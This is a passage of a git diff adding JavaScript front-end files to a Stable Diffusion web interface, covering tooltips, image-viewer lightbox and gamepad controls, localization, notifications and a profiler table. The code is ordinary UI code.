+ }); + return gallery; +} diff --git a/javascript/hints.js b/javascript/hints.js new file mode 100644 index 0000000000000000000000000000000000000000..6de9372e8ea8c9fb032351e241d0f9c265995290 --- /dev/null +++ b/javascript/hints.js @@ -0,0 +1,203 @@ +// mouseover tooltips for various UI elements + +var titles = { + "Sampling steps": "How many times to improve the generated image iteratively; higher values take longer; very low values can produce bad results", + "Sampling method": "Which algorithm to use to produce the image", + "GFPGAN": "Restore low quality faces using GFPGAN neural network", + "Euler a": "Euler Ancestral - very creative, each can get a completely different picture depending on step count, setting steps higher than 30-40 does not help", + "DDIM": "Denoising Diffusion Implicit Models - best at inpainting", + "UniPC": "Unified Predictor-Corrector Framework for Fast Sampling of Diffusion Models", + "DPM adaptive": "Ignores step count - uses a number of steps determined by the CFG and resolution", + + "\u{1F4D0}": "Auto detect size from img2img", + "Batch count": "How many batches of images to create (has no impact on generation performance or VRAM usage)", + "Batch size": "How many image to create in a single batch (increases generation performance at cost of higher VRAM usage)", + "CFG Scale": "Classifier Free Guidance Scale - how strongly the image should conform to prompt - lower values produce more creative results", + "Seed": "A value that determines the output of random number generator - if you create an image with same parameters and seed as another image, you'll get the same result", + "\u{1f3b2}\ufe0f": "Set seed to -1, which will cause a new random number to be used every time", + "\u267b\ufe0f": "Reuse seed from last generation, mostly useful if it was randomized", + "\u2199\ufe0f": "Read generation parameters from prompt or last generation if prompt is empty into user interface.", + "\u{1f4c2}": "Open images output directory", + "\u{1f4be}": "Save style", + "\u{1f5d1}\ufe0f": "Clear prompt", + "\u{1f4cb}": "Apply selected styles to current prompt", + "\u{1f4d2}": "Paste available values into the field", + "\u{1f3b4}": "Show/hide extra networks", + "\u{1f300}": "Restore progress", + + "Inpaint a part of image": "Draw a mask over an image, and the script will regenerate the masked area with content according to prompt", + "SD upscale": "Upscale image normally, split result into tiles, improve each tile using img2img, merge whole image back", + + "Just resize": "Resize image to target resolution. Unless height and width match, you will get incorrect aspect ratio.", + "Crop and resize": "Resize the image so that entirety of target resolution is filled with the image. Crop parts that stick out.", + "Resize and fill": "Resize the image so that entirety of image is inside target resolution. Fill empty space with image's colors.", + + "Mask blur": "How much to blur the mask before processing, in pixels.", + "Masked content": "What to put inside the masked area before processing it with Stable Diffusion.", + "fill": "fill it with colors of the image", + "original": "keep whatever was there originally", + "latent noise": "fill it with latent space noise", + "latent nothing": "fill it with latent space zeroes", + "Inpaint at full resolution": "Upscale masked region to target resolution, do inpainting, downscale back and paste into original image", + + "Denoising strength": "Determines how little respect the algorithm should have for image's content. At 0, nothing will change, and at 1 you'll get an unrelated image. With values below 1.0, processing will take less steps than the Sampling Steps slider specifies.", + + "Skip": "Stop processing current image and continue processing.", + "Interrupt": "Stop processing images and return any results accumulated so far.", + "Save": "Write image to a directory (default - log/images) and generation parameters into csv file.", + + "X values": "Separate values for X axis using commas.", + "Y values": "Separate values for Y axis using commas.", + + "None": "Do not do anything special", + "Prompt matrix": "Separate prompts into parts using vertical pipe character (|) and the script will create a picture for every combination of them (except for the first part, which will be present in all combinations)", + "X/Y/Z plot": "Create grid(s) where images will have different parameters. Use inputs below to specify which parameters will be shared by columns and rows", + "Custom code": "Run Python code. Advanced user only. Must run program with --allow-code for this to work", + + "Prompt S/R": "Separate a list of words with commas, and the first word will be used as a keyword: script will search for this word in the prompt, and replace it with others", + "Prompt order": "Separate a list of words with commas, and the script will make a variation of prompt with those words for their every possible order", + + "Tiling": "Produce an image that can be tiled.", + "Tile overlap": "For SD upscale, how much overlap in pixels should there be between tiles. Tiles overlap so that when they are merged back into one picture, there is no clearly visible seam.", + + "Variation seed": "Seed of a different picture to be mixed into the generation.", + "Variation strength": "How strong of a variation to produce. At 0, there will be no effect. At 1, you will get the complete picture with variation seed (except for ancestral samplers, where you will just get something).", + "Resize seed from height": "Make an attempt to produce a picture similar to what would have been produced with same seed at specified resolution", + "Resize seed from width": "Make an attempt to produce a picture similar to what would have been produced with same seed at specified resolution", + + "Interrogate": "Reconstruct prompt from existing image and put it into the prompt field.", + + "Images filename pattern": "Use tags like [seed] and [date] to define how filenames for images are chosen. Leave empty for default.", + "Directory name pattern": "Use tags like [seed] and [date] to define how subdirectories for images and grids are chosen. Leave empty for default.", + "Max prompt words": "Set the maximum number of words to be used in the [prompt_words] option; ATTENTION: If the words are too long, they may exceed the maximum length of the file path that the system can handle", + + "Loopback": "Performs img2img processing multiple times. Output images are used as input for the next loop.", + "Loops": "How many times to process an image. Each output is used as the input of the next loop. If set to 1, behavior will be as if this script were not used.", + "Final denoising strength": "The denoising strength for the final loop of each image in the batch.", + "Denoising strength curve": "The denoising curve controls the rate of denoising strength change each loop. Aggressive: Most of the change will happen towards the start of the loops. Linear: Change will be constant through all loops. Lazy: Most of the change will happen towards the end of the loops.", + + "Style 1": "Style to apply; styles have components for both positive and negative prompts and apply to both", + "Style 2": "Style to apply; styles have components for both positive and negative prompts and apply to both", + "Apply style": "Insert selected styles into prompt fields", + "Create style": "Save current prompts as a style. If you add the token {prompt} to the text, the style uses that as a placeholder for your prompt when you use the style in the future.", + + "Checkpoint name": "Loads weights from checkpoint before making images. You can either use hash or a part of filename (as seen in settings) for checkpoint name. Recommended to use with Y axis for less switching.", + "Inpainting conditioning mask strength": "Only applies to inpainting models. Determines how strongly to mask off the original image for inpainting and img2img. 1.0 means fully masked, which is the default behaviour. 0.0 means a fully unmasked conditioning. Lower values will help preserve the overall composition of the image, but will struggle with large changes.", + + "Eta noise seed delta": "If this values is non-zero, it will be added to seed and used to initialize RNG for noises when using samplers with Eta. You can use this to produce even more variation of images, or you can use this to match images of other software if you know what you are doing.", + + "Filename word regex": "This regular expression will be used extract words from filename, and they will be joined using the option below into label text used for training. Leave empty to keep filename text as it is.", + "Filename join string": "This string will be used to join split words into a single line if the option above is enabled.", + + "Quicksettings list": "List of setting names, separated by commas, for settings that should go to the quick access bar at the top, rather than the usual setting tab. See modules/shared.py for setting names. Requires restarting to apply.", + + "Weighted sum": "Result = A * (1 - M) + B * M", + "Add difference": "Result = A + (B - C) * M", + "No interpolation": "Result = A", + + "Initialization text": "If the number of tokens is more than the number of vectors, some may be skipped.\nLeave the textbox empty to start with zeroed out vectors", + "Learning rate": "How fast should training go. Low values will take longer to train, high values may fail to converge (not generate accurate results) and/or may break the embedding (This has happened if you see Loss: nan in the training info textbox. If this happens, you need to manually restore your embedding from an older not-broken backup).\n\nYou can set a single numeric value, or multiple learning rates using the syntax:\n\n rate_1:max_steps_1, rate_2:max_steps_2, ...\n\nEG: 0.005:100, 1e-3:1000, 1e-5\n\nWill train with rate of 0.005 for first 100 steps, then 1e-3 until 1000 steps, then 1e-5 for all remaining steps.", + + "Clip skip": "Early stopping parameter for CLIP model; 1 is stop at last layer as usual, 2 is stop at penultimate layer, etc.", + + "Approx NN": "Cheap neural network approximation. Very fast compared to VAE, but produces pictures with 4 times smaller horizontal/vertical resolution and lower quality.", + "Approx cheap": "Very cheap approximation. Very fast compared to VAE, but produces pictures with 8 times smaller horizontal/vertical resolution and extremely low quality.", + + "Hires. fix": "Use a two step process to partially create an image at smaller resolution, upscale, and then improve details in it without changing composition", + "Hires steps": "Number of sampling steps for upscaled picture. If 0, uses same as for original.", + "Upscale by": "Adjusts the size of the image by multiplying the original width and height by the selected value. Ignored if either Resize width to or Resize height to are non-zero.", + "Resize width to": "Resizes image to this width. If 0, width is inferred from either of two nearby sliders.", + "Resize height to": "Resizes image to this height. If 0, height is inferred from either of two nearby sliders.", + "Discard weights with matching name": "Regular expression; if weights's name matches it, the weights is not written to the resulting checkpoint. Use ^model_ema to discard EMA weights.", + "Extra networks tab order": "Comma-separated list of tab names; tabs listed here will appear in the extra networks UI first and in order listed.", + "Negative Guidance minimum sigma": "Skip negative prompt for steps where image is already mostly denoised; the higher this value, the more skips there will be; provides increased performance in exchange for minor quality reduction." +}; + +function updateTooltip(element) { + if (element.title) return; // already has a title + + let text = element.textContent; + let tooltip = localization[titles[text]] || titles[text]; + + if (!tooltip) { + let value = element.value; + if (value) tooltip = localization[titles[value]] || titles[value]; + } + + if (!tooltip) { + // Gradio dropdown options have `data-value`. + let dataValue = element.dataset.value; + if (dataValue) tooltip = localization[titles[dataValue]] || titles[dataValue]; + } + + if (!tooltip) { + for (const c of element.classList) { + if (c in titles) { + tooltip = localization[titles[c]] || titles[c]; + break; + } + } + } + + if (tooltip) { + element.title = tooltip; + } +} + +// Nodes to check for adding tooltips. +const tooltipCheckNodes = new Set(); +// Timer for debouncing tooltip check. +let tooltipCheckTimer = null; + +function processTooltipCheckNodes() { + for (const node of tooltipCheckNodes) { + updateTooltip(node); + } + tooltipCheckNodes.clear(); +} + +onUiUpdate(function(mutationRecords) { + for (const record of mutationRecords) { + if (record.type === "childList" && record.target.classList.contains("options")) { + // This smells like a Gradio dropdown menu having changed, + // so let's enqueue an update for the input element that shows the current value. + let wrap = record.target.parentNode; + let input = wrap?.querySelector("input"); + if (input) { + input.title = ""; // So we'll even have a chance to update it. + tooltipCheckNodes.add(input); + } + } + for (const node of record.addedNodes) { + if (node.nodeType === Node.ELEMENT_NODE && !node.classList.contains("hide")) { + if (!node.title) { + if ( + node.tagName === "SPAN" || + node.tagName === "BUTTON" || + node.tagName === "P" || + node.tagName === "INPUT" || + (node.tagName === "LI" && node.classList.contains("item")) // Gradio dropdown item + ) { + tooltipCheckNodes.add(node); + } + } + node.querySelectorAll('span, button, p').forEach(n => tooltipCheckNodes.add(n)); + } + } + } + if (tooltipCheckNodes.size) { + clearTimeout(tooltipCheckTimer); + tooltipCheckTimer = setTimeout(processTooltipCheckNodes, 1000); + } +}); + +onUiLoaded(function() { + for (var comp of window.gradio_config.components) { + if (comp.props.webui_tooltip && comp.props.elem_id) { + var elem = gradioApp().getElementById(comp.props.elem_id); + if (elem) { + elem.title = comp.props.webui_tooltip; + } + } + } +}); diff --git a/javascript/hires_fix.js b/javascript/hires_fix.js new file mode 100644 index 0000000000000000000000000000000000000000..0d04ab3b424338634af3e71a2f9d8796a5f00224 --- /dev/null +++ b/javascript/hires_fix.js @@ -0,0 +1,18 @@ + +function onCalcResolutionHires(enable, width, height, hr_scale, hr_resize_x, hr_resize_y) { + function setInactive(elem, inactive) { + elem.classList.toggle('inactive', !!inactive); + } + + var hrUpscaleBy = gradioApp().getElementById('txt2img_hr_scale'); + var hrResizeX = gradioApp().getElementById('txt2img_hr_resize_x'); + var hrResizeY = gradioApp().getElementById('txt2img_hr_resize_y'); + + gradioApp().getElementById('txt2img_hires_fix_row2').style.display = opts.use_old_hires_fix_width_height ? "none" : ""; + + setInactive(hrUpscaleBy, opts.use_old_hires_fix_width_height || hr_resize_x > 0 || hr_resize_y > 0); + setInactive(hrResizeX, opts.use_old_hires_fix_width_height || hr_resize_x == 0); + setInactive(hrResizeY, opts.use_old_hires_fix_width_height || hr_resize_y == 0); + + return [enable, width, height, hr_scale, hr_resize_x, hr_resize_y]; +} diff --git a/javascript/imageMaskFix.js b/javascript/imageMaskFix.js new file mode 100644 index 0000000000000000000000000000000000000000..900c56f32fdf7128f0433621df25a0fbd14c4e42 --- /dev/null +++ b/javascript/imageMaskFix.js @@ -0,0 +1,43 @@ +/** + * temporary fix for https://github.com/AUTOMATIC1111/stable-diffusion-webui/issues/668 + * @see https://github.com/gradio-app/gradio/issues/1721 + */ +function imageMaskResize() { + const canvases = gradioApp().querySelectorAll('#img2maskimg .touch-none canvas'); + if (!canvases.length) { + window.removeEventListener('resize', imageMaskResize); + return; + } + + const wrapper = canvases[0].closest('.touch-none'); + const previewImage = wrapper.previousElementSibling; + + if (!previewImage.complete) { + previewImage.addEventListener('load', imageMaskResize); + return; + } + + const w = previewImage.width; + const h = previewImage.height; + const nw = previewImage.naturalWidth; + const nh = previewImage.naturalHeight; + const portrait = nh > nw; + + const wW = Math.min(w, portrait ? h / nh * nw : w / nw * nw); + const wH = Math.min(h, portrait ? h / nh * nh : w / nw * nh); + + wrapper.style.width = `${wW}px`; + wrapper.style.height = `${wH}px`; + wrapper.style.left = `0px`; + wrapper.style.top = `0px`; + + canvases.forEach(c => { + c.style.width = c.style.height = ''; + c.style.maxWidth = '100%'; + c.style.maxHeight = '100%'; + c.style.objectFit = 'contain'; + }); +} + +onAfterUiUpdate(imageMaskResize); +window.addEventListener('resize', imageMaskResize); diff --git a/javascript/imageviewer.js b/javascript/imageviewer.js new file mode 100644 index 0000000000000000000000000000000000000000..c21d396eefd5283691091fc5b87aba570a325297 --- /dev/null +++ b/javascript/imageviewer.js @@ -0,0 +1,259 @@ +// A full size 'lightbox' preview modal shown when left clicking on gallery previews +function closeModal() { + gradioApp().getElementById("lightboxModal").style.display = "none"; +} + +function showModal(event) { + const source = event.target || event.srcElement; + const modalImage = gradioApp().getElementById("modalImage"); + const lb = gradioApp().getElementById("lightboxModal"); + modalImage.src = source.src; + if (modalImage.style.display === 'none') { + lb.style.setProperty('background-image', 'url(' + source.src + ')'); + } + lb.style.display = "flex"; + lb.focus(); + + const tabTxt2Img = gradioApp().getElementById("tab_txt2img"); + const tabImg2Img = gradioApp().getElementById("tab_img2img"); + // show the save button in modal only on txt2img or img2img tabs + if (tabTxt2Img.style.display != "none" || tabImg2Img.style.display != "none") { + gradioApp().getElementById("modal_save").style.display = "inline"; + } else { + gradioApp().getElementById("modal_save").style.display = "none"; + } + event.stopPropagation(); +} + +function negmod(n, m) { + return ((n % m) + m) % m; +} + +function updateOnBackgroundChange() { + const modalImage = gradioApp().getElementById("modalImage"); + if (modalImage && modalImage.offsetParent) { + let currentButton = selected_gallery_button(); + + if (currentButton?.children?.length > 0 && modalImage.src != currentButton.children[0].src) { + modalImage.src = currentButton.children[0].src; + if (modalImage.style.display === 'none') { + const modal = gradioApp().getElementById("lightboxModal"); + modal.style.setProperty('background-image', `url(${modalImage.src})`); + } + } + } +} + +function modalImageSwitch(offset) { + var galleryButtons = all_gallery_buttons(); + + if (galleryButtons.length > 1) { + var currentButton = selected_gallery_button(); + + var result = -1; + galleryButtons.forEach(function(v, i) { + if (v == currentButton) { + result = i; + } + }); + + if (result != -1) { + var nextButton = galleryButtons[negmod((result + offset), galleryButtons.length)]; + nextButton.click(); + const modalImage = gradioApp().getElementById("modalImage"); + const modal = gradioApp().getElementById("lightboxModal"); + modalImage.src = nextButton.children[0].src; + if (modalImage.style.display === 'none') { + modal.style.setProperty('background-image', `url(${modalImage.src})`); + } + setTimeout(function() { + modal.focus(); + }, 10); + } + } +} + +function saveImage() { + const tabTxt2Img = gradioApp().getElementById("tab_txt2img"); + const tabImg2Img = gradioApp().getElementById("tab_img2img"); + const saveTxt2Img = "save_txt2img"; + const saveImg2Img = "save_img2img"; + if (tabTxt2Img.style.display != "none") { + gradioApp().getElementById(saveTxt2Img).click(); + } else if (tabImg2Img.style.display != "none") { + gradioApp().getElementById(saveImg2Img).click(); + } else { + console.error("missing implementation for saving modal of this type"); + } +} + +function modalSaveImage(event) { + saveImage(); + event.stopPropagation(); +} + +function modalNextImage(event) { + modalImageSwitch(1); + event.stopPropagation(); +} + +function modalPrevImage(event) { + modalImageSwitch(-1); + event.stopPropagation(); +} + +function modalKeyHandler(event) { + switch (event.key) { + case "s": + saveImage(); + break; + case "ArrowLeft": + modalPrevImage(event); + break; + case "ArrowRight": + modalNextImage(event); + break; + case "Escape": + closeModal(); + break; + } +} + +function setupImageForLightbox(e) { + if (e.dataset.modded) { + return; + } + + e.dataset.modded = true; + e.style.cursor = 'pointer'; + e.style.userSelect = 'none'; + + var isFirefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1; + + // For Firefox, listening on click first switched to next image then shows the lightbox. + // If you know how to fix this without switching to mousedown event, please. + // For other browsers the event is click to make it possiblr to drag picture. + var event = isFirefox ? 'mousedown' : 'click'; + + e.addEventListener(event, function(evt) { + if (evt.button == 1) { + open(evt.target.src); + evt.preventDefault(); + return; + } + if (!opts.js_modal_lightbox || evt.button != 0) return; + + modalZoomSet(gradioApp().getElementById('modalImage'), opts.js_modal_lightbox_initially_zoomed); + evt.preventDefault(); + showModal(evt); + }, true); + +} + +function modalZoomSet(modalImage, enable) { + if (modalImage) modalImage.classList.toggle('modalImageFullscreen', !!enable); +} + +function modalZoomToggle(event) { + var modalImage = gradioApp().getElementById("modalImage"); + modalZoomSet(modalImage, !modalImage.classList.contains('modalImageFullscreen')); + event.stopPropagation(); +} + +function modalTileImageToggle(event) { + const modalImage = gradioApp().getElementById("modalImage"); + const modal = gradioApp().getElementById("lightboxModal"); + const isTiling = modalImage.style.display === 'none'; + if (isTiling) { + modalImage.style.display = 'block'; + modal.style.setProperty('background-image', 'none'); + } else { + modalImage.style.display = 'none'; + modal.style.setProperty('background-image', `url(${modalImage.src})`); + } + + event.stopPropagation(); +} + +onAfterUiUpdate(function() { + var fullImg_preview = gradioApp().querySelectorAll('.gradio-gallery > div > img'); + if (fullImg_preview != null) { + fullImg_preview.forEach(setupImageForLightbox); + } + updateOnBackgroundChange(); +}); + +document.addEventListener("DOMContentLoaded", function() { + //const modalFragment = document.createDocumentFragment(); + const modal = document.createElement('div'); + modal.onclick = closeModal; + modal.id = "lightboxModal"; + modal.tabIndex = 0; + modal.addEventListener('keydown', modalKeyHandler, true); + + const modalControls = document.createElement('div'); + modalControls.className = 'modalControls gradio-container'; + modal.append(modalControls); + + const modalZoom = document.createElement('span'); + modalZoom.className = 'modalZoom cursor'; + modalZoom.innerHTML = '⤡'; + modalZoom.addEventListener('click', modalZoomToggle, true); + modalZoom.title = "Toggle zoomed view"; + modalControls.appendChild(modalZoom); + + const modalTileImage = document.createElement('span'); + modalTileImage.className = 'modalTileImage cursor'; + modalTileImage.innerHTML = '⊞'; + modalTileImage.addEventListener('click', modalTileImageToggle, true); + modalTileImage.title = "Preview tiling"; + modalControls.appendChild(modalTileImage); + + const modalSave = document.createElement("span"); + modalSave.className = "modalSave cursor"; + modalSave.id = "modal_save"; + modalSave.innerHTML = "🖫"; + modalSave.addEventListener("click", modalSaveImage, true); + modalSave.title = "Save Image(s)"; + modalControls.appendChild(modalSave); + + const modalClose = document.createElement('span'); + modalClose.className = 'modalClose cursor'; + modalClose.innerHTML = '×'; + modalClose.onclick = closeModal; + modalClose.title = "Close image viewer"; + modalControls.appendChild(modalClose); + + const modalImage = document.createElement('img'); + modalImage.id = 'modalImage'; + modalImage.onclick = closeModal; + modalImage.tabIndex = 0; + modalImage.addEventListener('keydown', modalKeyHandler, true); + modal.appendChild(modalImage); + + const modalPrev = document.createElement('a'); + modalPrev.className = 'modalPrev'; + modalPrev.innerHTML = '❮'; + modalPrev.tabIndex = 0; + modalPrev.addEventListener('click', modalPrevImage, true); + modalPrev.addEventListener('keydown', modalKeyHandler, true); + modal.appendChild(modalPrev); + + const modalNext = document.createElement('a'); + modalNext.className = 'modalNext'; + modalNext.innerHTML = '❯'; + modalNext.tabIndex = 0; + modalNext.addEventListener('click', modalNextImage, true); + modalNext.addEventListener('keydown', modalKeyHandler, true); + + modal.appendChild(modalNext); + + try { + gradioApp().appendChild(modal); + } catch (e) { + gradioApp().body.appendChild(modal); + } + + document.body.appendChild(modal); + +}); diff --git a/javascript/imageviewerGamepad.js b/javascript/imageviewerGamepad.js new file mode 100644 index 0000000000000000000000000000000000000000..a22c7e6e6435f677c7a86dbbae5da86af8fdc9eb --- /dev/null +++ b/javascript/imageviewerGamepad.js @@ -0,0 +1,63 @@ +let gamepads = []; + +window.addEventListener('gamepadconnected', (e) => { + const index = e.gamepad.index; + let isWaiting = false; + gamepads[index] = setInterval(async() => { + if (!opts.js_modal_lightbox_gamepad || isWaiting) return; + const gamepad = navigator.getGamepads()[index]; + const xValue = gamepad.axes[0]; + if (xValue <= -0.3) { + modalPrevImage(e); + isWaiting = true; + } else if (xValue >= 0.3) { + modalNextImage(e); + isWaiting = true; + } + if (isWaiting) { + await sleepUntil(() => { + const xValue = navigator.getGamepads()[index].axes[0]; + if (xValue < 0.3 && xValue > -0.3) { + return true; + } + }, opts.js_modal_lightbox_gamepad_repeat); + isWaiting = false; + } + }, 10); +}); + +window.addEventListener('gamepaddisconnected', (e) => { + clearInterval(gamepads[e.gamepad.index]); +}); + +/* +Primarily for vr controller type pointer devices. +I use the wheel event because there's currently no way to do it properly with web xr. + */ +let isScrolling = false; +window.addEventListener('wheel', (e) => { + if (!opts.js_modal_lightbox_gamepad || isScrolling) return; + isScrolling = true; + + if (e.deltaX <= -0.6) { + modalPrevImage(e); + } else if (e.deltaX >= 0.6) { + modalNextImage(e); + } + + setTimeout(() => { + isScrolling = false; + }, opts.js_modal_lightbox_gamepad_repeat); +}); + +function sleepUntil(f, timeout) { + return new Promise((resolve) => { + const timeStart = new Date(); + const wait = setInterval(function() { + if (f() || new Date() - timeStart > timeout) { + clearInterval(wait); + resolve(); + } + }, 20); + }); +} diff --git a/javascript/inputAccordion.js b/javascript/inputAccordion.js new file mode 100644 index 0000000000000000000000000000000000000000..f2839852ee710bc1f4ae03e6788c1781001006a0 --- /dev/null +++ b/javascript/inputAccordion.js @@ -0,0 +1,37 @@ +var observerAccordionOpen = new MutationObserver(function(mutations) { + mutations.forEach(function(mutationRecord) { + var elem = mutationRecord.target; + var open = elem.classList.contains('open'); + + var accordion = elem.parentNode; + accordion.classList.toggle('input-accordion-open', open); + + var checkbox = gradioApp().querySelector('#' + accordion.id + "-checkbox input"); + checkbox.checked = open; + updateInput(checkbox); + + var extra = gradioApp().querySelector('#' + accordion.id + "-extra"); + if (extra) { + extra.style.display = open ? "" : "none"; + } + }); +}); + +function inputAccordionChecked(id, checked) { + var label = gradioApp().querySelector('#' + id + " .label-wrap"); + if (label.classList.contains('open') != checked) { + label.click(); + } +} + +onUiLoaded(function() { + for (var accordion of gradioApp().querySelectorAll('.input-accordion')) { + var labelWrap = accordion.querySelector('.label-wrap'); + observerAccordionOpen.observe(labelWrap, {attributes: true, attributeFilter: ['class']}); + + var extra = gradioApp().querySelector('#' + accordion.id + "-extra"); + if (extra) { + labelWrap.insertBefore(extra, labelWrap.lastElementChild); + } + } +}); diff --git a/javascript/localStorage.js b/javascript/localStorage.js new file mode 100644 index 0000000000000000000000000000000000000000..dc1a36c328799ea3df1843001d397aa638935952 --- /dev/null +++ b/javascript/localStorage.js @@ -0,0 +1,26 @@ + +function localSet(k, v) { + try { + localStorage.setItem(k, v); + } catch (e) { + console.warn(`Failed to save ${k} to localStorage: ${e}`); + } +} + +function localGet(k, def) { + try { + return localStorage.getItem(k); + } catch (e) { + console.warn(`Failed to load ${k} from localStorage: ${e}`); + } + + return def; +} + +function localRemove(k) { + try { + return localStorage.removeItem(k); + } catch (e) { + console.warn(`Failed to remove ${k} from localStorage: ${e}`); + } +} diff --git a/javascript/localization.js b/javascript/localization.js new file mode 100644 index 0000000000000000000000000000000000000000..8f00c18686057e3e12154f657170b014b13320a5 --- /dev/null +++ b/javascript/localization.js @@ -0,0 +1,205 @@ + +// localization = {} -- the dict with translations is created by the backend + +var ignore_ids_for_localization = { + setting_sd_hypernetwork: 'OPTION', + setting_sd_model_checkpoint: 'OPTION', + modelmerger_primary_model_name: 'OPTION', + modelmerger_secondary_model_name: 'OPTION', + modelmerger_tertiary_model_name: 'OPTION', + train_embedding: 'OPTION', + train_hypernetwork: 'OPTION', + txt2img_styles: 'OPTION', + img2img_styles: 'OPTION', + setting_random_artist_categories: 'OPTION', + setting_face_restoration_model: 'OPTION', + setting_realesrgan_enabled_models: 'OPTION', + extras_upscaler_1: 'OPTION', + extras_upscaler_2: 'OPTION', +}; + +var re_num = /^[.\d]+$/; +var re_emoji = /[\p{Extended_Pictographic}\u{1F3FB}-\u{1F3FF}\u{1F9B0}-\u{1F9B3}]/u; + +var original_lines = {}; +var translated_lines = {}; + +function hasLocalization() { + return window.localization && Object.keys(window.localization).length > 0; +} + +function textNodesUnder(el) { + var n, a = [], walk = document.createTreeWalker(el, NodeFilter.SHOW_TEXT, null, false); + while ((n = walk.nextNode())) a.push(n); + return a; +} + +function canBeTranslated(node, text) { + if (!text) return false; + if (!node.parentElement) return false; + + var parentType = node.parentElement.nodeName; + if (parentType == 'SCRIPT' || parentType == 'STYLE' || parentType == 'TEXTAREA') return false; + + if (parentType == 'OPTION' || parentType == 'SPAN') { + var pnode = node; + for (var level = 0; level < 4; level++) { + pnode = pnode.parentElement; + if (!pnode) break; + + if (ignore_ids_for_localization[pnode.id] == parentType) return false; + } + } + + if (re_num.test(text)) return false; + if (re_emoji.test(text)) return false; + return true; +} + +function getTranslation(text) { + if (!text) return undefined; + + if (translated_lines[text] === undefined) { + original_lines[text] = 1; + } + + var tl = localization[text]; + if (tl !== undefined) { + translated_lines[tl] = 1; + } + + return tl; +} + +function processTextNode(node) { + var text = node.textContent.trim(); + + if (!canBeTranslated(node, text)) return; + + var tl = getTranslation(text); + if (tl !== undefined) { + node.textContent = tl; + } +} + +function processNode(node) { + if (node.nodeType == 3) { + processTextNode(node); + return; + } + + if (node.title) { + let tl = getTranslation(node.title); + if (tl !== undefined) { + node.title = tl; + } + } + + if (node.placeholder) { + let tl = getTranslation(node.placeholder); + if (tl !== undefined) { + node.placeholder = tl; + } + } + + textNodesUnder(node).forEach(function(node) { + processTextNode(node); + }); +} + +function localizeWholePage() { + processNode(gradioApp()); + + function elem(comp) { + var elem_id = comp.props.elem_id ? comp.props.elem_id : "component-" + comp.id; + return gradioApp().getElementById(elem_id); + } + + for (var comp of window.gradio_config.components) { + if (comp.props.webui_tooltip) { + let e = elem(comp); + + let tl = e ? getTranslation(e.title) : undefined; + if (tl !== undefined) { + e.title = tl; + } + } + if (comp.props.placeholder) { + let e = elem(comp); + let textbox = e ? e.querySelector('[placeholder]') : null; + + let tl = textbox ? getTranslation(textbox.placeholder) : undefined; + if (tl !== undefined) { + textbox.placeholder = tl; + } + } + } +} + +function dumpTranslations() { + if (!hasLocalization()) { + // If we don't have any localization, + // we will not have traversed the app to find + // original_lines, so do that now. + localizeWholePage(); + } + var dumped = {}; + if (localization.rtl) { + dumped.rtl = true; + } + + for (const text in original_lines) { + if (dumped[text] !== undefined) continue; + dumped[text] = localization[text] || text; + } + + return dumped; +} + +function download_localization() { + var text = JSON.stringify(dumpTranslations(), null, 4); + + var element = document.createElement('a'); + element.setAttribute('href', 'data:text/plain;charset=utf-8,' + encodeURIComponent(text)); + element.setAttribute('download', "localization.json"); + element.style.display = 'none'; + document.body.appendChild(element); + + element.click(); + + document.body.removeChild(element); +} + +document.addEventListener("DOMContentLoaded", function() { + if (!hasLocalization()) { + return; + } + + onUiUpdate(function(m) { + m.forEach(function(mutation) { + mutation.addedNodes.forEach(function(node) { + processNode(node); + }); + }); + }); + + localizeWholePage(); + + if (localization.rtl) { // if the language is from right to left, + (new MutationObserver((mutations, observer) => { // wait for the style to load + mutations.forEach(mutation => { + mutation.addedNodes.forEach(node => { + if (node.tagName === 'STYLE') { + observer.disconnect(); + + for (const x of node.sheet.rules) { // find all rtl media rules + if (Array.from(x.media || []).includes('rtl')) { + x.media.appendMedium('all'); // enable them + } + } + } + }); + }); + })).observe(gradioApp(), {childList: true}); + } +}); diff --git a/javascript/notification.js b/javascript/notification.js new file mode 100644 index 0000000000000000000000000000000000000000..6d79956125c383b963ea0e6a16079a253a666c55 --- /dev/null +++ b/javascript/notification.js @@ -0,0 +1,49 @@ +// Monitors the gallery and sends a browser notification when the leading image is new. + +let lastHeadImg = null; + +let notificationButton = null; + +onAfterUiUpdate(function() { + if (notificationButton == null) { + notificationButton = gradioApp().getElementById('request_notifications'); + + if (notificationButton != null) { + notificationButton.addEventListener('click', () => { + void Notification.requestPermission(); + }, true); + } + } + + const galleryPreviews = gradioApp().querySelectorAll('div[id^="tab_"] div[id$="_results"] .thumbnail-item > img'); + + if (galleryPreviews == null) return; + + const headImg = galleryPreviews[0]?.src; + + if (headImg == null || headImg == lastHeadImg) return; + + lastHeadImg = headImg; + + // play notification sound if available + gradioApp().querySelector('#audio_notification audio')?.play(); + + if (document.hasFocus()) return; + + // Multiple copies of the images are in the DOM when one is selected. Dedup with a Set to get the real number generated. + const imgs = new Set(Array.from(galleryPreviews).map(img => img.src)); + + const notification = new Notification( + 'Stable Diffusion', + { + body: `Generated ${imgs.size > 1 ? imgs.size - opts.return_grid : 1} image${imgs.size > 1 ? 's' : ''}`, + icon: headImg, + image: headImg, + } + ); + + notification.onclick = function(_) { + parent.focus(); + this.close(); + }; +}); diff --git a/javascript/profilerVisualization.js b/javascript/profilerVisualization.js new file mode 100644 index 0000000000000000000000000000000000000000..9d8e5f42f327f93db42773ebf0b97ee1e9671806 --- /dev/null +++ b/javascript/profilerVisualization.js @@ -0,0 +1,153 @@ + +function createRow(table, cellName, items) { + var tr = document.createElement('tr'); + var res = []; + + items.forEach(function(x, i) { + if (x === undefined) { + res.push(null); + return; + } + + var td = document.createElement(cellName); + td.textContent = x; + tr.appendChild(td); + res.push(td); + + var colspan = 1; + for (var n = i + 1; n < items.length; n++) { + if (items[n] !== undefined) { + break; + } + + colspan += 1; + } + + if (colspan > 1) { + td.colSpan = colspan; + } + }); + + table.appendChild(tr); + + return res; +} + +function showProfile(path, cutoff = 0.05) { + requestGet(path, {}, function(data) { + var table = document.createElement('table'); + table.className = 'popup-table'; + + data.records['total'] = data.total; + var keys = Object.keys(data.records).sort(function(a, b) { + return data.records[b] - data.records[a]; + }); + var items = keys.map(function(x) { + return {key: x, parts: x.split('/'), time: data.records[x]}; + }); + var maxLength = items.reduce(function(a, b) { + return Math.max(a, b.parts.length); + }, 0); + + var cols = createRow(table, 'th', ['record', 'seconds']); + cols[0].colSpan = maxLength; + + function arraysEqual(a, b) { + return !(a < b || b < a); + } + + var addLevel = function(level, parent, hide) { + var matching = items.filter(function(x) { + return x.parts[level] && !x.parts[level + 1] && arraysEqual(x.parts.slice(0, level), parent); + }); + var sorted = 